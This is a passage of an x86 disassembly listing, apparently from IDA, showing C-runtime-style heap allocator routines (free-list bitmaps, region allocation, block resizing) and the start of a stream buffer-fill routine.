		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B73
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416B73:				; CODE XREF: sub_4169A5+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_416BAD
; ---------------------------------------------------------------------------


loc_416B84:				; CODE XREF: sub_4169A5+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B9A
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416B9A:				; CODE XREF: sub_4169A5+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_416BAD:				; CODE XREF: sub_4169A5+182j
					; sub_4169A5+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_416CB8
		mov	eax, dword_47A620
		test	eax, eax
		jz	loc_416CAA
		mov	ecx, dword_47A638
		mov	esi, ds:dword_41F170
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_47A638
		mov	eax, dword_47A620
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_47A620
		mov	eax, [eax+10h]
		mov	ecx, dword_47A638
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_47A620
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_47A620
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_416C3B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_47A620


loc_416C3B:				; CODE XREF: sub_4169A5+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_416CAA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_47A620
		push	dword ptr [eax+10h]
		push	0
		push	dword_47A63C
		call	ds:dword_41F134
		mov	eax, dword_47A624
		mov	edx, dword_47A628
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_47A620
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41BC70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_47A624
		cmp	eax, dword_47A620
		jbe	short loc_416CA0
		sub	[ebp+arg_0], 14h


loc_416CA0:				; CODE XREF: sub_4169A5+2F5j
		mov	eax, dword_47A628
		mov	dword_47A630, eax


loc_416CAA:				; CODE XREF: sub_4169A5+223j
					; sub_4169A5+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_47A620, eax
		mov	dword_47A638, edi


loc_416CB8:				; CODE XREF: sub_4169A5+216j
		pop	ebx


loc_416CB9:				; CODE XREF: sub_4169A5+37j
		pop	edi
		pop	esi
		leave
		retn
sub_4169A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CBD	proc near		; CODE XREF: sub_417159+150p
		mov	eax, dword_47A624
		mov	ecx, dword_47A634
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_416D03
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_47A628
		push	edi
		push	dword_47A63C
		call	ds:dword_41F138
		cmp	eax, edi
		jnz	short loc_416CF2
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416CF2:				; CODE XREF: sub_416CBD+2Fj
		add	dword_47A634, 10h
		mov	dword_47A628, eax
		mov	eax, dword_47A624


loc_416D03:				; CODE XREF: sub_416CBD+10j
		mov	ecx, dword_47A628
		push	esi
		push	41C4h
		push	8
		push	dword_47A63C
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_41F13C
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_416D2E


loc_416D2A:				; CODE XREF: sub_416CBD+9Bj
		xor	eax, eax
		jmp	short loc_416D71
; ---------------------------------------------------------------------------


loc_416D2E:				; CODE XREF: sub_416CBD+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_41F174
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_416D5A
		push	dword ptr [esi+10h]
		push	edi
		push	dword_47A63C
		call	ds:dword_41F134
		jmp	short loc_416D2A
; ---------------------------------------------------------------------------


loc_416D5A:				; CODE XREF: sub_416CBD+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_47A624
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_416D71:				; CODE XREF: sub_416CBD+6Fj
		pop	esi
		pop	edi
		retn
sub_416CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D74	proc near		; CODE XREF: sub_417159+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_416D8C
; ---------------------------------------------------------------------------


loc_416D89:				; CODE XREF: sub_416D74+1Aj
		shl	eax, 1
		inc	ebx


loc_416D8C:				; CODE XREF: sub_416D74+13j
		test	eax, eax
		jge	short loc_416D89
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_416DA5:				; CODE XREF: sub_416D74+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_416DA5
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_41F174
		test	eax, eax
		jnz	short loc_416DD8
		or	eax, 0FFFFFFFFh
		jmp	loc_416E75
; ---------------------------------------------------------------------------


loc_416DD8:				; CODE XREF: sub_416D74+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_416E28
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_416DF0:				; CODE XREF: sub_416D74+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_416DF0
		mov	edx, [ebp+var_4]


loc_416E28:				; CODE XREF: sub_416D74+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_416E65
		or	[eax+4], edi


loc_416E65:				; CODE XREF: sub_416D74+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_416E75:				; CODE XREF: sub_416D74+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416D74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E7A	proc near		; CODE XREF: sub_41318A+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_41701C
		test	bl, 1
		jnz	loc_417015
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_417015
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_416EEF
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_416EEF:				; CODE XREF: sub_416E7A+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_416F3A
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_416F1B
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416F3A
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_416F3A
; ---------------------------------------------------------------------------


loc_416F1B:				; CODE XREF: sub_416E7A+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416F3A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_416F3A:				; CODE XREF: sub_416E7A+7Bj
					; sub_416E7A+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_417003
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_416F74
		push	3Fh
		pop	edi


loc_416F74:				; CODE XREF: sub_416E7A+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_416FF1
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_416FC8
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_416FC0
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416FC0:				; CODE XREF: sub_416E7A+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_416FE8
; ---------------------------------------------------------------------------


loc_416FC8:				; CODE XREF: sub_416E7A+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_416FDE
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416FDE:				; CODE XREF: sub_416E7A+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_416FE8:				; CODE XREF: sub_416E7A+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_416FF1:				; CODE XREF: sub_416E7A+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_417006
; ---------------------------------------------------------------------------


loc_417003:				; CODE XREF: sub_416E7A+DEj
		mov	edx, [ebp+arg_4]


loc_417006:				; CODE XREF: sub_416E7A+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_417151
; ---------------------------------------------------------------------------


loc_417015:				; CODE XREF: sub_416E7A+50j
					; sub_416E7A+5Aj
		xor	eax, eax
		jmp	loc_417154
; ---------------------------------------------------------------------------


loc_41701C:				; CODE XREF: sub_416E7A+47j
		jge	loc_417151
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_417047
		push	3Fh
		pop	esi


loc_417047:				; CODE XREF: sub_416E7A+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_4170D1
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_417060
		push	3Fh
		pop	esi


loc_417060:				; CODE XREF: sub_416E7A+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4170AA
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41708B
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4170A7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_41708B:				; CODE XREF: sub_416E7A+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4170A7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4170A7:				; CODE XREF: sub_416E7A+208j
					; sub_416E7A+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_4170AA:				; CODE XREF: sub_416E7A+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4170D1
		push	3Fh
		pop	esi


loc_4170D1:				; CODE XREF: sub_416E7A+1D1j
					; sub_416E7A+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_417148
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_41711F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417117
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_417117:				; CODE XREF: sub_416E7A+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_41713F
; ---------------------------------------------------------------------------


loc_41711F:				; CODE XREF: sub_416E7A+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417135
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_417135:				; CODE XREF: sub_416E7A+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_41713F:				; CODE XREF: sub_416E7A+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_417148:				; CODE XREF: sub_416E7A+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_417151:				; CODE XREF: sub_416E7A+196j
					; sub_416E7A:loc_41701Cj
		xor	eax, eax
		inc	eax


loc_417154:				; CODE XREF: sub_416E7A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417159	proc near		; CODE XREF: sub_41318A+89p
					; sub_4133A6+2Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_47A624
		mov	edx, dword_47A628
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_417196
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_4171A3
; ---------------------------------------------------------------------------


loc_417196:				; CODE XREF: sub_417159+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_4171A3:				; CODE XREF: sub_417159+3Bj
		mov	eax, dword_47A630
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_4171C5
; ---------------------------------------------------------------------------


loc_4171B1:				; CODE XREF: sub_417159+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4171CA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_4171C5:				; CODE XREF: sub_417159+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_4171B1


loc_4171CA:				; CODE XREF: sub_417159+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4171F3
		mov	ebx, edx
		jmp	short loc_4171E4
; ---------------------------------------------------------------------------


loc_4171D3:				; CODE XREF: sub_417159+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4171EB
		add	ebx, 14h


loc_4171E4:				; CODE XREF: sub_417159+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_4171D3


loc_4171EB:				; CODE XREF: sub_417159+86j
		cmp	ebx, eax
		jz	loc_417287


loc_4171F3:				; CODE XREF: sub_417159+74j
					; sub_417159+170j
		mov	dword_47A630, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41721A
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_417250


loc_41721A:				; CODE XREF: sub_417159+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41724D


loc_417236:				; CODE XREF: sub_417159+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_417236


loc_41724D:				; CODE XREF: sub_417159+DBj
		mov	edx, [ebp+var_4]


loc_417250:				; CODE XREF: sub_417159+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_4172D9
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_4172D9
; ---------------------------------------------------------------------------


loc_41727B:				; CODE XREF: sub_417159+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41728C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_417287:				; CODE XREF: sub_417159+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_41727B


loc_41728C:				; CODE XREF: sub_417159+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4172B7
		mov	ebx, edx
		jmp	short loc_41729E
; ---------------------------------------------------------------------------


loc_417295:				; CODE XREF: sub_417159+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4172A5
		add	ebx, 14h


loc_41729E:				; CODE XREF: sub_417159+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_417295


loc_4172A5:				; CODE XREF: sub_417159+140j
		cmp	ebx, eax
		jnz	short loc_4172B7
		call	sub_416CBD
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4172CF


loc_4172B7:				; CODE XREF: sub_417159+136j
					; sub_417159+14Ej
		push	ebx
		call	sub_416D74
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_4171F3


loc_4172CF:				; CODE XREF: sub_417159+15Cj
		xor	eax, eax
		jmp	loc_417450
; ---------------------------------------------------------------------------


loc_4172D6:				; CODE XREF: sub_417159+182j
		shl	ecx, 1
		inc	edi


loc_4172D9:				; CODE XREF: sub_417159+111j
					; sub_417159+120j
		test	ecx, ecx
		jge	short loc_4172D6
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_4172FA
		push	3Fh
		pop	esi


loc_4172FA:				; CODE XREF: sub_417159+19Cj
		cmp	esi, edi
		jz	loc_417403
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417366
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_41733A
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_417363
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_41733A:				; CODE XREF: sub_417159+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_417363
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_417363:				; CODE XREF: sub_417159+1D5j
					; sub_417159+1FDj
		mov	ebx, [ebp+arg_0]


loc_417366:				; CODE XREF: sub_417159+1AFj
					; sub_417159+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41740F
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417400
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_4173D7
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4173C5
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4173C5:				; CODE XREF: sub_417159+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_417400
; ---------------------------------------------------------------------------


loc_4173D7:				; CODE XREF: sub_417159+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4173EA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4173EA:				; CODE XREF: sub_417159+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_417400:				; CODE XREF: sub_417159+247j
					; sub_417159+27Cj
		mov	ecx, [ebp+var_8]


loc_417403:				; CODE XREF: sub_417159+1A3j
		test	ecx, ecx
		jz	short loc_417412
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740F:				; CODE XREF: sub_417159+223j
		mov	ecx, [ebp+var_8]


loc_417412:				; CODE XREF: sub_417159+2ACj
					; sub_417159+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_417448
		cmp	ebx, dword_47A620
		jnz	short loc_417448
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_47A638
		jnz	short loc_417448
		and	dword_47A620, 0


loc_417448:				; CODE XREF: sub_417159+2D3j
					; sub_417159+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_417450:				; CODE XREF: sub_417159+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417159	endp


; =============== S U B	R O U T	I N E =======================================



sub_417455	proc near		; CODE XREF: sub_413055+AAp
					; sub_4142F5+44p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_417531
		test	al, 40h
		jnz	loc_417531
		test	al, 2
		jz	short loc_41747C
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_417531
; ---------------------------------------------------------------------------


loc_41747C:				; CODE XREF: sub_417455+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417491
		push	esi
		call	sub_41AA0C
		pop	ecx
		jmp	short loc_417496
; ---------------------------------------------------------------------------


loc_417491:				; CODE XREF: sub_417455+31j
		mov	eax, [esi+8]
		mov	[esi], eax


loc_417496:				; CODE XREF: sub_417455+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_417703
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_417520
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417520
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4174F5
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_4174DB
		mov	edi, ecx
		sar	edi, 5
		mov	edi, dword_47A2E0[edi*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_4174E0
; ---------------------------------------------------------------------------


loc_4174DB:				; CODE XREF: sub_417455+6Dj
		mov	edi, offset dword_42D068


loc_4174E0:				; CODE XREF: sub_417455+84j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_4174F5
		or	edx, 2000h
		mov	[esi+0Ch], edx


loc_4174F5:				; CODE XREF: sub_417455+64j
					; sub_417455+95j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_417512
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_417512
		test	ch, 4
		jnz	short loc_417512
